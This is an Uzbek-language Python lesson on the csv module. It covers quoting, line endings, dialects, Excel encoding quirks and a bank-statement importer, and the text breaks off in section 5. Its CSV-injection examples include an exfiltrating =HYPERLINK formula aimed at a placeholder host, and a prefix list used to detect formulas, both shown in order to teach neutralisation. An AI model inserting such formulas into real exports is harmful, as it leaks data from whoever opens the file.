Mundarija (23)
- 1. Kirish va motivatsiya
- 2. Nazariya — chuqur tushuntirish
- 2.1. CSV qoidalari (RFC 4180)
- 2.2. reader va writer
- 2.3. newline=""
- 2.4. DictReader va DictWriter
- 2.5. Qo'shtirnoq rejimlari (quoting)
- 2.6. Lahjalar
- 2.7. Excel va mintaqaviy sozlamalar
- 2.8. CSV injection
- 2.9. Katta fayllar
- 3. Tez ma'lumotnoma
- 4. Batafsil misollar
- Misol 1 — reader, writer va qator oxirlari
- Misol 2 — DictReader, DictWriter va turlar
- Misol 3 — Lahjalar, Excel va CSV injection
- Misol 4 — Amaliy: bank ko'chirmasini import qilish
- 5. To'g'ri va noto'g'ri tushunishlar
- 6. Keng tarqalgan xatolar va yechimlari
- 7. Integratsiya — bu bilim qayerda kerak bo'ladi
- 8. Eng yaxshi amaliyotlar
- 9. Amaliy topshiriq
- Xulosa
16.3-dars: csv
16-QISM — MA'LUMOT FORMATLARI · 3-dars
1. Kirish va motivatsiya
CSV — "vergul bilan ajratilgan qiymatlar". Buxgalteriya eksporti, bank ko'chirmasi, Excel jadvali, davlat ochiq ma'lumotlari, CRM dan mijozlar ro'yxati — ularning aksariyati CSV ko'rinishida keladi. Format shunchalik oddiy ko'rinadiki, ko'pchilik uni split(",") bilan o'qiydi.
Real vaziyat. Marketing bo'limi mijozlar ro'yxatini Excel'dan CSV qilib yubordi. Dasturchi yozdi:
for qator in open("mijozlar.csv"):
ism, manzil, telefon = qator.strip().split(",")Birinchi kun — ValueError: too many values to unpack: manzil "Toshkent, Chilonzor 5" ichida vergul bor edi. Tuzatilgach, birinchi ustun nomi ism emas, \ufeffism ekani ma'lum bo'ldi — Excel faylni BOM bilan saqlagan. Keyin hisobot Excel'da ochilganda o'zbekcha harflar OÊ»gÊ»iloy bo'lib ko'rindi. Summalar 125000,50 edi — o'nli vergul, ajratgich esa nuqta-vergul. Eng yomoni oxirida chiqdi: bir mijozning ismi =HYPERLINK("http://...") edi va eksport qilingan fayl buxgalter kompyuterida formula sifatida ishga tushdi.
csv moduli qo'shtirnoq, ichki vergul va qator uzilishlarini to'g'ri ishlaydi. Qolganini — kodlash, Excel lahjasi, turlar va xavfsizlik — bu darsda o'rganamiz.
Bu darsda:
-
reader/writer: qo'shtirnoq qoidalari va ichki qator uzilishi -
newline=""— nega majburiy -
DictReader/DictWriter:restkey,restval,extrasaction - Hamma narsa satr: turlarni tiklash,
Noneva bo'sh satr quotingrejimlari:QUOTE_NONNUMERIC,QUOTE_STRINGS,QUOTE_NOTNULL- Lahjalar:
delimiter,Sniffer,register_dialect - Excel: BOM,
utf-8-sig, nuqta-vergul va o'nli vergul - CSV injection — formulalar orqali hujum
- Amaliy: bank ko'chirmasini import qilish
2. Nazariya — chuqur tushuntirish
2.1. CSV qoidalari (RFC 4180)
| Qoida | Misol |
|---|---|
| Maydonlar ajratgich bilan | a,b,c |
| Ajratgich, qo'shtirnoq yoki qator uzilishi bor maydon — qo'shtirnoqda | "Toshkent, Chilonzor" |
| Qo'shtirnoq ichidagi qo'shtirnoq — ikkilanadi | "U ""salom"" dedi" |
Qator oxiri — \r\n |
writer sukut bo'yicha |
| Sarlavha qatori — ixtiyoriy | Format o'zi buni bilmaydi |
CSV da turlar yo'q: 25, True, 2026-09-17 — hammasi satr. Standart ham qat'iy emas: ajratgich, kodlash, o'nli belgi dasturdan dasturga farq qiladi.
2.2. reader va writer
with open("a.csv", "w", encoding="utf-8", newline="") as f:
yozuvchi = csv.writer(f)
yozuvchi.writerow(["ism", "manzil"])
yozuvchi.writerows(qatorlar)
with open("a.csv", encoding="utf-8", newline="") as f:
for qator in csv.reader(f): # qator — list[str]
...writer qiymati |
Yoziladi |
|---|---|
"a,b" |
"a,b" |
'q"t' |
"q""t" |
None |
bo'sh |
1.5, True |
1.5, True (str() orqali) |
reader.line_num — o'qilgan fizik qatorlar soni (ichki qator uzilishi bor maydon bir nechta qator hisoblanadi) — xato xabarlari uchun.
2.3. newline=""
| Holat | Muammo |
|---|---|
Yozishda newline berilmasa |
Windows'da writer ning \r\n i \r\r\n ga aylanadi — Excel'da har qator orasida bo'sh qator |
O'qishda newline berilmasa |
Qo'shtirnoq ichidagi \r\n jim \n ga aylanadi |
Qoida: CSV faylni har doim newline="" bilan oching. Qator oxirlarini csv moduli o'zi boshqaradi.
2.4. DictReader va DictWriter
| Parametr | Ma'nosi |
|---|---|
fieldnames |
Ustun nomlari; DictReader da berilmasa — birinchi qatordan |
restkey (sukut None) |
Ortiqcha qiymatlar shu kalit ostida ro'yxat bo'lib |
restval (sukut None) |
Yetishmayotgan ustunlar qiymati |
extrasaction="raise" |
DictWriter da noma'lum kalit — ValueError |
extrasaction="ignore" |
Noma'lum kalitlar tashlab yuboriladi |
writeheader() |
Sarlavha qatorini yozadi |
DictReader bo'sh qatorlarni o'tkazib yuboradi; reader esa [] qaytaradi.
2.5. Qo'shtirnoq rejimlari (quoting)
| Rejim | Yozishda | O'qishda |
|---|---|---|
QUOTE_MINIMAL (sukut) |
Faqat kerak bo'lganda | Hammasi satr |
QUOTE_ALL |
Hamma maydon | Hammasi satr |
QUOTE_NONNUMERIC |
Son bo'lmaganlar | Qo'shtirnoqsizlar → float |
QUOTE_NONE |
Hech qachon — escapechar kerak |
|
QUOTE_STRINGS (3.12+) |
Satrlar; None — bo'sh |
Qo'shtirnoqsiz bo'sh → None, boshqalari → float |
QUOTE_NOTNULL (3.12+) |
None dan boshqasi |
Qo'shtirnoqsiz bo'sh → None |
QUOTE_STRINGS/QUOTE_NOTNULL — None va "" farqini saqlashning yagona standart usuli.
2.6. Lahjalar
| Parametr | Sukut (excel) |
|---|---|
delimiter |
, |
quotechar |
" |
doublequote |
True |
escapechar |
None |
lineterminator |
\r\n (faqat yozishda) |
skipinitialspace |
False — a, "b,c" noto'g'ri bo'linadi |
strict |
False — True da buzuq qo'shtirnoq csv.Error |
Tayyor lahjalar: excel, excel-tab, unix (\n va QUOTE_ALL). O'zingizniki: csv.register_dialect("nom", delimiter=";").
csv.Sniffer — namunadan lahjani taxmin qiladi: sniff(namuna) → lahja, has_header(namuna) → bool. Evristika — xato qilishi mumkin; aniqlay olmasa csv.Error: Could not determine delimiter.
2.7. Excel va mintaqaviy sozlamalar
| Muammo | Sabab | Yechim |
|---|---|---|
| Excel UTF-8 ni buzib ko'rsatadi | BOM siz faylni eski kodlashda o'qiydi | Yozishda encoding="utf-8-sig" |
Birinchi kalit \ufeffism |
BOM li fayl utf-8 da o'qilgan |
O'qishda utf-8-sig (BOM bo'lmasa ham ishlaydi) |
| Hamma ma'lumot bitta ustunda | O'nli vergulli mintaqada Excel ; kutadi |
delimiter=";" yoki Sniffer |
125000,50 son emas |
O'nli vergul | Decimal(s.replace(" ", "").replace(",", ".")) |
00123 → 123, uzun ID → 1.23E+17 |
Excel avtomatik tur beradi | Excel muammosi; CSV da satr to'g'ri saqlangan |
2.8. CSV injection
Excel/LibreOffice =, +, -, @ (shuningdek tab va \r) bilan boshlangan hujayrani formula deb talqin qiladi. Foydalanuvchi kiritgan ma'lumot eksport qilinsa, formula boshqa odamning kompyuterida ishga tushishi mumkin (ma'lumot sizishi, tashqi havolalar).
| Himoya | Qanday |
|---|---|
| Xavfli boshlanishni zararsizlantirish | Oldiga ' qo'shish: '=1+2 |
| Faqat eksportda | Bazadagi asl qiymat o'zgarmaydi |
| Son maydonlariga emas | -3 — haqiqiy son; faqat matn maydonlariga qo'llang |
csv moduli buni qilmaydi — bu dastur mas'uliyati.
2.9. Katta fayllar
| Imkoniyat | Izoh |
|---|---|
reader — iterator |
Butun faylni xotiraga yuklamaydi |
csv.field_size_limit() |
Sukut 131072 belgi; oshsa csv.Error: field larger than field limit |
| Ko'p ustunli tahlil | pandas (24-qism) |
3. Tez ma'lumotnoma
import csv
with open(yol, encoding="utf-8-sig", newline="") as f:
for yozuv in csv.DictReader(f, delimiter=";"):
...
with open(yol, "w", encoding="utf-8-sig", newline="") as f:
yozuvchi = csv.DictWriter(f, fieldnames=["ism", "summa"], extrasaction="ignore")
yozuvchi.writeheader()
yozuvchi.writerows(yozuvlar)
lahja = csv.Sniffer().sniff(f.read(4096)); f.seek(0)
reader.line_num # xato xabari uchun
csv.writer(f, quoting=csv.QUOTE_NOTNULL) # None va "" farqiQoidalar
har doim newline=""
o'qish: utf-8-sig; Excel uchun yozish: utf-8-sig
split(",") — hech qachon
hamma qiymat satr — turlarni aniq tiklang
eksportda foydalanuvchi matni: = + - @ bilan boshlansa zararsizlantiring
xatoda line_num ni ko'rsating4. Batafsil misollar
Misol 1 — reader, writer va qator oxirlari
"""split(',') nega buziladi; writer qo'shtirnoq qoidalari; ichki qator uzilishi; newline='' siz \\r\\r\\n; line_num; bo'sh qatorlar; skipinitialspace."""
import csv
import io
import tempfile
from pathlib import Path
def main() -> None:
print("=== 1. ⚠️ split(',') ===")
qator = 'Aziz,"Toshkent, Chilonzor 5",+998901234567'
print(f" split: {qator.split(',')}")
print(f" reader: {next(csv.reader([qator]))}")
print("\n=== 2. writer qo'shtirnoq qoidalari ===")
bufer = io.StringIO()
csv.writer(bufer).writerow(["oddiy", "vergul, bor", 'U "salom" dedi', "ikki\nqator", None, 1.5, True, ""])
print(f" {bufer.getvalue()!r}")
qaytgan = next(csv.reader(io.StringIO(bufer.getvalue())))
print(f" qaytgan: {qaytgan}")
print(f" ⚠️ None va '' farqi yo'qoldi: {qaytgan[4] == qaytgan[7] == ''}; 1.5 turi: {type(qaytgan[5]).__name__}")
print("\n=== 3. ⚠️ newline='' ===")
with tempfile.TemporaryDirectory() as katalog:
yol = Path(katalog) / "a.csv"
# Windows'da newline berilmasa, "\n" → "\r\n" tarjimasi shunday ishlaydi:
with open(yol, "w", encoding="utf-8", newline="\r\n") as f:
csv.writer(f).writerows([["a", "b"], ["c", "d"]])
print(f" tarjima bilan: {yol.read_bytes()} ← Excel'da bo'sh qatorlar")
with open(yol, "w", encoding="utf-8", newline="") as f:
csv.writer(f).writerows([["izoh", "birinchi\r\nikkinchi"], ["c", "d"]])
print(f" newline='': {yol.read_bytes()}")
with open(yol, encoding="utf-8") as f:
print(f" o'qish, newline siz: {next(csv.reader(f))[1]!r} ← \\r\\n jim o'zgardi")
with open(yol, encoding="utf-8", newline="") as f:
print(f" o'qish, newline='': {next(csv.reader(f))[1]!r}")
print("\n=== 4. line_num va bo'sh qatorlar ===")
matn = 'id,izoh\n1,"ko\'p\nqatorli"\n\n2,oddiy\n'
oquvchi = csv.reader(io.StringIO(matn))
for yozuv in oquvchi:
print(f" line_num={oquvchi.line_num} (yozuv shu qatorda tugadi): {yozuv}")
print(f" DictReader bo'sh qatorni o'tkazadi: {[d['id'] for d in csv.DictReader(io.StringIO(matn))]}")
print("\n=== 5. Ajratgichdan keyingi bo'shliq ===")
print(f" sukut: {next(csv.reader(['a, \"b,c\"']))}")
print(f" skipinitialspace=True: {next(csv.reader(['a, \"b,c\"'], skipinitialspace=True))}")
print("\n=== 6. Buzuq qo'shtirnoq ===")
print(f" strict=False: {list(csv.reader(['a,\"yopilmagan']))}")
try:
list(csv.reader(['a,"yopilmagan'], strict=True))
except csv.Error as xato:
print(f" strict=True: csv.Error: {xato}")
if __name__ == "__main__":
main()Natijaning muhim qismi:
=== 1. ⚠️ split(',') ===
split: ['Aziz', '"Toshkent', ' Chilonzor 5"', '+998901234567']
reader: ['Aziz', 'Toshkent, Chilonzor 5', '+998901234567']
=== 2. writer qo'shtirnoq qoidalari ===
'oddiy,"vergul, bor","U ""salom"" dedi","ikki\nqator",,1.5,True,\r\n'
qaytgan: ['oddiy', 'vergul, bor', 'U "salom" dedi', 'ikki\nqator', '', '1.5', 'True', '']
⚠️ None va '' farqi yo'qoldi: True; 1.5 turi: str
=== 3. ⚠️ newline='' ===
tarjima bilan: b'a,b\r\r\nc,d\r\r\n' ← Excel'da bo'sh qatorlar
newline='': b'izoh,"birinchi\r\nikkinchi"\r\nc,d\r\n'
o'qish, newline siz: 'birinchi\nikkinchi' ← \r\n jim o'zgardi
o'qish, newline='': 'birinchi\r\nikkinchi'
=== 4. line_num va bo'sh qatorlar ===
line_num=1 (yozuv shu qatorda tugadi): ['id', 'izoh']
line_num=3 (yozuv shu qatorda tugadi): ['1', "ko'p\nqatorli"]
line_num=4 (yozuv shu qatorda tugadi): []
line_num=5 (yozuv shu qatorda tugadi): ['2', 'oddiy']
DictReader bo'sh qatorni o'tkazadi: ['1', '2']
=== 5. Ajratgichdan keyingi bo'shliq ===
sukut: ['a', ' "b', 'c"']
skipinitialspace=True: ['a', 'b,c']
=== 6. Buzuq qo'shtirnoq ===
strict=False: [['a', 'yopilmagan']]
strict=True: csv.Error: unexpected end of dataNima ko'rsatdi: 2.1, 2.2, 2.3, 2.6-bo'limlar.
Misol 2 — DictReader, DictWriter va turlar
"""restkey/restval; extrasaction; BOM va \\ufeff kalit; hamma narsa satr; turlarni tiklash; QUOTE_NONNUMERIC, QUOTE_STRINGS, QUOTE_NOTNULL."""
import csv
import io
from datetime import date
from decimal import Decimal
def main() -> None:
print("=== 1. Noto'g'ri uzunlikdagi qatorlar ===")
matn = "ism,yosh\nAli,25,ortiqcha\nVali\n"
for yozuv in csv.DictReader(io.StringIO(matn)):
print(f" sukut: {yozuv}")
for yozuv in csv.DictReader(io.StringIO(matn), restkey="_ortiqcha", restval=""):
print(f" restkey/restval: {yozuv}")
print("\n=== 2. DictWriter va noma'lum kalitlar ===")
bufer = io.StringIO()
yozuvchi = csv.DictWriter(bufer, fieldnames=["ism", "yosh"], lineterminator="\n")
yozuvchi.writeheader()
try:
yozuvchi.writerow({"ism": "Ali", "yosh": 25, "parol": "sir"})
except ValueError as xato:
print(f" extrasaction='raise': ValueError: {xato}")
csv.DictWriter(bufer, fieldnames=["ism", "yosh"], extrasaction="ignore", lineterminator="\n").writerow(
{"ism": "Ali", "yosh": 25, "parol": "sir"})
yozuvchi.writerow({"ism": "Vali"})
print(f" natija: {bufer.getvalue()!r}")
print("\n=== 3. ⚠️ BOM ===")
baytlar = "ism,yosh\nOʻgʻiloy,25\n".encode("utf-8-sig")
yozuv = next(csv.DictReader(io.StringIO(baytlar.decode("utf-8"))))
print(f" utf-8: kalitlar {list(yozuv)}, yozuv.get('ism') = {yozuv.get('ism')}")
yozuv = next(csv.DictReader(io.StringIO(baytlar.decode("utf-8-sig"))))
print(f" utf-8-sig: kalitlar {list(yozuv)}, yozuv.get('ism') = {yozuv.get('ism')}")
print(f" utf-8-sig BOM siz faylda ham: {'ism'.encode('utf-8').decode('utf-8-sig') == 'ism'}")
print("\n=== 4. ⚠️ Hamma narsa satr — turlarni tiklash ===")
matn = "sana,summa,faol,izoh\n17.09.2026,\"125 000,50\",ha,\n18.09.2026,45000,yo'q,tez\n"
for xom in csv.DictReader(io.StringIO(matn)):
kun, oy, yil = map(int, xom["sana"].split("."))
toza = {
"sana": date(yil, oy, kun),
"summa": Decimal(xom["summa"].replace(" ", "").replace(",", ".")),
"faol": {"ha": True, "yo'q": False}[xom["faol"]],
"izoh": xom["izoh"] or None,
}
print(f" {dict(xom)} → {toza}")
print("\n=== 5. Qo'shtirnoq rejimlari ===")
qator = ["matn", 42, 2.5, None, ""]
for nom in ("QUOTE_MINIMAL", "QUOTE_ALL", "QUOTE_NONNUMERIC", "QUOTE_STRINGS", "QUOTE_NOTNULL"):
rejim = getattr(csv, nom)
bufer = io.StringIO()
csv.writer(bufer, quoting=rejim, lineterminator="").writerow(qator)
qaytgan = next(csv.reader(io.StringIO(bufer.getvalue()), quoting=rejim))
print(f" {nom:17} {bufer.getvalue():26} → {qaytgan}")
print("\n=== 6. QUOTE_NONE ===")
bufer = io.StringIO()
try:
csv.writer(bufer, quoting=csv.QUOTE_NONE).writerow(["a,b"])
except csv.Error as xato:
print(f" escapechar siz: csv.Error: {xato}")
csv.writer(bufer, quoting=csv.QUOTE_NONE, escapechar="\\", lineterminator="").writerow(["a,b", "c"])
print(f" escapechar='\\\\': {bufer.getvalue()}")
if __name__ == "__main__":
main()Natijaning muhim qismi:
=== 1. Noto'g'ri uzunlikdagi qatorlar ===
sukut: {'ism': 'Ali', 'yosh': '25', None: ['ortiqcha']}
sukut: {'ism': 'Vali', 'yosh': None}
restkey/restval: {'ism': 'Ali', 'yosh': '25', '_ortiqcha': ['ortiqcha']}
restkey/restval: {'ism': 'Vali', 'yosh': ''}
=== 2. DictWriter va noma'lum kalitlar ===
extrasaction='raise': ValueError: dict contains fields not in fieldnames: 'parol'
natija: 'ism,yosh\nAli,25\nVali,\n'
=== 3. ⚠️ BOM ===
utf-8: kalitlar ['\ufeffism', 'yosh'], yozuv.get('ism') = None
utf-8-sig: kalitlar ['ism', 'yosh'], yozuv.get('ism') = Oʻgʻiloy
utf-8-sig BOM siz faylda ham: True
=== 4. ⚠️ Hamma narsa satr — turlarni tiklash ===
{'sana': '17.09.2026', 'summa': '125 000,50', 'faol': 'ha', 'izoh': ''} → {'sana': datetime.date(2026, 9, 17), 'summa': Decimal('125000.50'), 'faol': True, 'izoh': None}
{'sana': '18.09.2026', 'summa': '45000', 'faol': "yo'q", 'izoh': 'tez'} → {'sana': datetime.date(2026, 9, 18), 'summa': Decimal('45000'), 'faol': False, 'izoh': 'tez'}
=== 5. Qo'shtirnoq rejimlari ===
QUOTE_MINIMAL matn,42,2.5,, → ['matn', '42', '2.5', '', '']
QUOTE_ALL "matn","42","2.5","","" → ['matn', '42', '2.5', '', '']
QUOTE_NONNUMERIC "matn",42,2.5,"","" → ['matn', 42.0, 2.5, '', '']
QUOTE_STRINGS "matn",42,2.5,,"" → ['matn', 42.0, 2.5, None, '']
QUOTE_NOTNULL "matn","42","2.5",,"" → ['matn', '42', '2.5', None, '']
=== 6. QUOTE_NONE ===
escapechar siz: csv.Error: need to escape, but no escapechar set
escapechar='\\': a\,b,cNima ko'rsatdi: 2.4, 2.5, 2.7-bo'limlar.
Misol 3 — Lahjalar, Excel va CSV injection
"""Sniffer; o'nli vergul va nuqta-vergul; register_dialect; Excel uchun utf-8-sig; noto'g'ri kodlashda ko'rinish; CSV injection va zararsizlantirish; field_size_limit."""
import csv
import io
XAVFLI_BOSHLANISH = ("=", "+", "-", "@", "\t", "\r")
def zararsizlantir(qiymat: object) -> object:
"""Faqat matn maydonlari uchun: formula sifatida talqin qilinmasin."""
if isinstance(qiymat, str) and qiymat.startswith(XAVFLI_BOSHLANISH):
return "'" + qiymat
return qiymat
def main() -> None:
print("=== 1. Sniffer ===")
namunalar = {
"vergul": "ism,shahar,summa\nAli,Toshkent,45000\nVali,Samarqand,12000\n",
"nuqta-vergul": "ism;shahar;summa\nAli;Toshkent;45000,50\nVali;Samarqand;12000,00\n",
"tab": "ism\tshahar\nAli\tToshkent\nVali\tSamarqand\n",
}
for nom, namuna in namunalar.items():
lahja = csv.Sniffer().sniff(namuna)
print(f" {nom:13} ajratgich={lahja.delimiter!r:5} sarlavha bor: {csv.Sniffer().has_header(namuna)}")
try:
csv.Sniffer().sniff("bitta ustun\nfaqat matn\n")
except csv.Error as xato:
print(f" aniqlab bo'lmadi: csv.Error: {xato}")
print("\n=== 2. ⚠️ Noto'g'ri ajratgich ===")
matn = namunalar["nuqta-vergul"]
print(f" vergul bilan: {list(csv.reader(io.StringIO(matn)))[1]}")
csv.register_dialect("excel_uz", delimiter=";", lineterminator="\r\n")
print(f" excel_uz: {list(csv.reader(io.StringIO(matn), dialect='excel_uz'))[1]}")
print("\n=== 3. ⚠️ Excel va kodlash ===")
matn = "ism;shahar\nOʻgʻiloy;Qoʻqon\n"
for kodlash in ("utf-8", "utf-8-sig"):
baytlar = matn.encode(kodlash)
print(f" {kodlash:9} boshi: {baytlar[:5]!r}")
print(f" BOM siz fayl eski Windows kodlashida ko'rinishi: {matn.encode('utf-8').decode('cp1252', errors='replace').splitlines()[1]}")
print("\n=== 4. ⚠️ CSV injection ===")
mijozlar = [
{"ism": "Aziz", "izoh": "doimiy mijoz", "balans": -3500},
{"ism": '=HYPERLINK("http://yomon.example/?d="&A1,"Batafsil")', "izoh": "+998 90 123 45 67", "balans": 0},
{"ism": "@SUM(1+1)", "izoh": "-chegirma kerak", "balans": 12000},
]
for himoya in (False, True):
bufer = io.StringIO()
yozuvchi = csv.DictWriter(bufer, fieldnames=["ism", "izoh", "balans"], lineterminator="\n")
yozuvchi.writeheader()
for m in mijozlar:
yozuvchi.writerow({k: zararsizlantir(v) for k, v in m.items()} if himoya else m)
print(f" himoya={'bor' if himoya else 'yoq'}:")
for qator in bufer.getvalue().splitlines()[1:]:
birinchi = next(csv.reader([qator]))[0]
print(f" {qator:70} formula: {birinchi.startswith(XAVFLI_BOSHLANISH)}")
print("\n=== 5. Maydon hajmi chegarasi ===")
print(f" sukut: {csv.field_size_limit()}")
katta = "id,matn\n1," + "x" * 200_000 + "\n"
try:
list(csv.reader(io.StringIO(katta)))
except csv.Error as xato:
print(f" csv.Error: {xato}")
eski = csv.field_size_limit(1_000_000)
print(f" oshirilgach: {len(list(csv.reader(io.StringIO(katta)))[1][1])} belgi o'qildi")
csv.field_size_limit(eski)
if __name__ == "__main__":
main()Natijaning muhim qismi:
=== 1. Sniffer ===
vergul ajratgich=',' sarlavha bor: True
nuqta-vergul ajratgich=';' sarlavha bor: True
tab ajratgich='\t' sarlavha bor: False
=== 2. ⚠️ Noto'g'ri ajratgich ===
vergul bilan: ['Ali;Toshkent;45000', '50']
excel_uz: ['Ali', 'Toshkent', '45000,50']
=== 3. ⚠️ Excel va kodlash ===
utf-8 boshi: b'ism;s'
utf-8-sig boshi: b'\xef\xbb\xbfis'
BOM siz fayl eski Windows kodlashida ko'rinishi: Oʻgʻiloy;Qoʻqon
=== 4. ⚠️ CSV injection ===
himoya=yoq:
Aziz,doimiy mijoz,-3500 formula: False
"=HYPERLINK(""http://yomon.example/?d=""&A1,""Batafsil"")",+998 90 123 45 67,0 formula: True
@SUM(1+1),-chegirma kerak,12000 formula: True
himoya=bor:
Aziz,doimiy mijoz,-3500 formula: False
"'=HYPERLINK(""http://yomon.example/?d=""&A1,""Batafsil"")",'+998 90 123 45 67,0 formula: False
'@SUM(1+1),'-chegirma kerak,12000 formula: False
=== 5. Maydon hajmi chegarasi ===
sukut: 131072
csv.Error: field larger than field limit (131072)
oshirilgach: 200000 belgi o'qildiNima ko'rsatdi: 2.6, 2.7, 2.8, 2.9-bo'limlar.
Misol 4 — Amaliy: bank ko'chirmasini import qilish
Buxgalteriya har oy turli banklardan ko'chirma yuklaydi. Bir bank vergul va nuqta ishlatadi, boshqasi — nuqta-vergul, o'nli vergul, BOM va dd.mm.yyyy sanalar; sarlavhalar ham har xil yozilgan (Sana, SUMMA, Izoh). Importyor lahjani aniqlaydi, sarlavhalarni normallashtiradi, har qatorni tekshiradi (fizik qator raqami bilan xato), dublikat tranzaksiyalarni topadi va Excel'da xavfsiz ochiladigan hisobot yozadi.
"""Ko'p manbali CSV import: utf-8-sig, Sniffer, sarlavha normallashtirish, sana va o'nli vergul, line_num bilan xatolar, dublikatlar, Excel uchun xavfsiz eksport."""
import csv
import io
import tempfile
from dataclasses import dataclass
from datetime import date, datetime
from decimal import Decimal, InvalidOperation
from pathlib import Path
BANK_A = '''sana,summa,kontragent,izoh
2026-09-01,1500000.00,"MChJ ""Nur""",Ijara
2026-09-03,-250000.50,Oʻgʻiloy,"Maosh, sentyabr"
2026-09-03,-250000.50,Oʻgʻiloy,"Maosh, sentyabr"
2026-09-05,abc,Bek,Xato summa
'''
BANK_B = """\ufeffSana; SUMMA ;Kontragent;Izoh
07.09.2026;-45 000,00;Qoʻqon filiali;"Transport
xarajati"
31.09.2026;12 000,00;Kamola;Notoʻgʻri sana
10.09.2026;98 500,25;=HYPERLINK("http://yomon.example");Toʻlov
11.09.2026;5 000,00
"""
SARLAVHALAR = {"sana": "sana", "summa": "summa", "kontragent": "kontragent", "izoh": "izoh"}
@dataclass(frozen=True)
class Tranzaksiya:
sana: date
summa: Decimal
kontragent: str
izoh: str
def sana_ol(matn: str) -> date:
for shakl in ("%Y-%m-%d", "%d.%m.%Y"):
try:
return datetime.strptime(matn.strip(), shakl).date()
except ValueError:
continue
raise ValueError(f"sana noto'g'ri: {matn!r}")
def summa_ol(matn: str) -> Decimal:
toza = matn.replace(" ", "").replace(",", ".")
try:
return Decimal(toza)
except InvalidOperation:
raise ValueError(f"summa noto'g'ri: {matn!r}") from None
def import_qil(yol: Path) -> tuple[list[Tranzaksiya], list[str]]:
tranzaksiyalar: list[Tranzaksiya] = []
xatolar: list[str] = []
with open(yol, encoding="utf-8-sig", newline="") as f:
namuna = f.read(2048)
f.seek(0)
try:
ajratgich = csv.Sniffer().sniff(namuna, delimiters=",;\t").delimiter
except csv.Error:
# Sniffer — evristika; zaxira: sarlavha qatorida eng ko'p uchragan belgi
sarlavha_qatori = namuna.splitlines()[0]
ajratgich = max(",;\t", key=sarlavha_qatori.count)
xatolar.append(f"{yol.name}: Sniffer aniqlay olmadi, sarlavhadan {ajratgich!r} tanlandi")
oquvchi = csv.reader(f, delimiter=ajratgich)
sarlavha = [SARLAVHALAR.get(nom.strip().lower(), nom.strip().lower()) for nom in next(oquvchi)]
yetishmaydi = set(SARLAVHALAR.values()) - set(sarlavha)
if yetishmaydi:
return [], [f"{yol.name}: ustunlar yo'q: {sorted(yetishmaydi)}"]
boshlanish = oquvchi.line_num + 1
for qator in oquvchi:
joy = f"{yol.name}:{boshlanish}"
boshlanish = oquvchi.line_num + 1
if not qator:
continue
if len(qator) != len(sarlavha):
xatolar.append(f"{joy}: {len(sarlavha)} ta ustun kutilgan, {len(qator)} ta keldi")
continue
yozuv = dict(zip(sarlavha, qator))
try:
tranzaksiyalar.append(Tranzaksiya(sana_ol(yozuv["sana"]), summa_ol(yozuv["summa"]),
yozuv["kontragent"].strip(), " ".join(yozuv["izoh"].split())))
except ValueError as xato:
xatolar.append(f"{joy}: {xato}")
return tranzaksiyalar, xatolar
def xavfsiz(qiymat: str) -> str:
return "'" + qiymat if qiymat.startswith(("=", "+", "-", "@", "\t", "\r")) else qiymat
def main() -> None:
with tempfile.TemporaryDirectory() as katalog:
r = Path(katalog)
(r / "bank_a.csv").write_text(BANK_A, encoding="utf-8", newline="")
(r / "bank_b.csv").write_bytes(BANK_B.replace("\n", "\r\n").encode("utf-8"))
hammasi: list[Tranzaksiya] = []
print("=== 1. Import ===")
for yol in sorted(r.glob("bank_*.csv")):
tranzaksiyalar, xatolar = import_qil(yol)
hammasi.extend(tranzaksiyalar)
print(f" {yol.name}: {len(tranzaksiyalar)} yaroqli, {len(xatolar)} xato")
for xato in xatolar:
print(f" ❌ {xato}")
print("\n=== 2. Dublikatlar ===")
korilgan: set[Tranzaksiya] = set()
noyob: list[Tranzaksiya] = []
for t in hammasi:
if t in korilgan:
print(f" ⚠️ {t.sana} {t.summa} {t.kontragent}")
else:
korilgan.add(t)
noyob.append(t)
print("\n=== 3. Hisobot ===")
noyob.sort(key=lambda t: (t.sana, t.summa))
hisobot = r / "hisobot.csv"
with open(hisobot, "w", encoding="utf-8-sig", newline="") as f:
yozuvchi = csv.writer(f, delimiter=";")
yozuvchi.writerow(["Sana", "Summa", "Kontragent", "Izoh"])
for t in noyob:
yozuvchi.writerow([t.sana.strftime("%d.%m.%Y"), str(t.summa).replace(".", ","),
xavfsiz(t.kontragent), xavfsiz(t.izoh)])
for qator in hisobot.read_text(encoding="utf-8-sig").splitlines():
print(f" {qator}")
kirim = sum((t.summa for t in noyob if t.summa > 0), Decimal(0))
chiqim = sum((t.summa for t in noyob if t.summa < 0), Decimal(0))
print(f" kirim: {kirim}, chiqim: {chiqim}, qoldiq: {kirim + chiqim}")
print(f" fayl BOM bilan boshlanadi: {hisobot.read_bytes().startswith(b'\xef\xbb\xbf')}")
print("\n=== 4. Qayta o'qish tekshiruvi ===")
with open(hisobot, encoding="utf-8-sig", newline="") as f:
qaytgan = list(csv.DictReader(f, delimiter=";"))
print(f" qatorlar: {len(qaytgan)}, ko'p qatorli izoh buzilmagan: {any('Transport xarajati' == q['Izoh'] for q in qaytgan)}")
if __name__ == "__main__":
main()Natijaning muhim qismi:
=== 1. Import ===
bank_a.csv: 3 yaroqli, 1 xato
❌ bank_a.csv:5: summa noto'g'ri: 'abc'
bank_b.csv: 2 yaroqli, 3 xato
❌ bank_b.csv: Sniffer aniqlay olmadi, sarlavhadan ';' tanlandi
❌ bank_b.csv:4: sana noto'g'ri: '31.09.2026'
❌ bank_b.csv:6: 4 ta ustun kutilgan, 2 ta keldi
=== 2. Dublikatlar ===
⚠️ 2026-09-03 -250000.50 Oʻgʻiloy
=== 3. Hisobot ===
Sana;Summa;Kontragent;Izoh
01.09.2026;1500000,00;"MChJ ""Nur""";Ijara
03.09.2026;-250000,50;Oʻgʻiloy;Maosh, sentyabr
07.09.2026;-45000,00;Qoʻqon filiali;Transport xarajati
10.09.2026;98500,25;"'=HYPERLINK(""http://yomon.example"")";Toʻlov
kirim: 1598500.25, chiqim: -295000.50, qoldiq: 1303499.75
fayl BOM bilan boshlanadi: True
=== 4. Qayta o'qish tekshiruvi ===
qatorlar: 4, ko'p qatorli izoh buzilmagan: TrueNima ko'rsatdi: 2.2–2.8-bo'limlar.
5. To'g'ri va noto'g'ri tushunishlar
| Noto'g'ri fikr | To'g'risi |
|---|---|
"CSV ni split(',') bilan o'qisa bo'ladi" |
Qo'shtirnoq ichidagi vergul va qator uzilishi buziladi |
| "CSV — bitta standart format" | Ajratgich, kodlash, o'nli belgi — manbaga bog'liq |
"reader sonlarni son qilib qaytaradi" |
Hammasi satr (QUOTE_NONNUMERIC bundan mustasno) |
"newline='' — ixtiyoriy" |
Windows'da bo'sh qatorlar, ichki \r\n buziladi |
